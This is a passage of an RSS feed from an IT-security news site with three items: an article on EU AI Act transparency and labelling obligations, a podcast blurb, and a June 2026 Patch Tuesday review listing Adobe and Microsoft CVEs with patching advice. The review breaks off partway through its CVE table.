<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=sendmail+uncanny+completion+behavioralthough%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 01 Aug 2026 06:51:09 +0200</lastBuildDate>
<pubDate>Sat, 01 Aug 2026 06:51:09 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=sendmail+uncanny+completion+behavioralthough%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=sendmail+uncanny+completion+behavioralthough%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[China-US AI Race Escalates, OpenAI Models Break Free, and Why You Should Check Your Car Alarm]]></title>
<description><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></description>
<link>https://tsecurity.de/de/3694753/ai-nachrichten/china-us-ai-race-escalates-openai-models-break-free-and-why-you-should-check-your-car-alarm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694753/ai-nachrichten/china-us-ai-race-escalates-openai-models-break-free-and-why-you-should-check-your-car-alarm/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
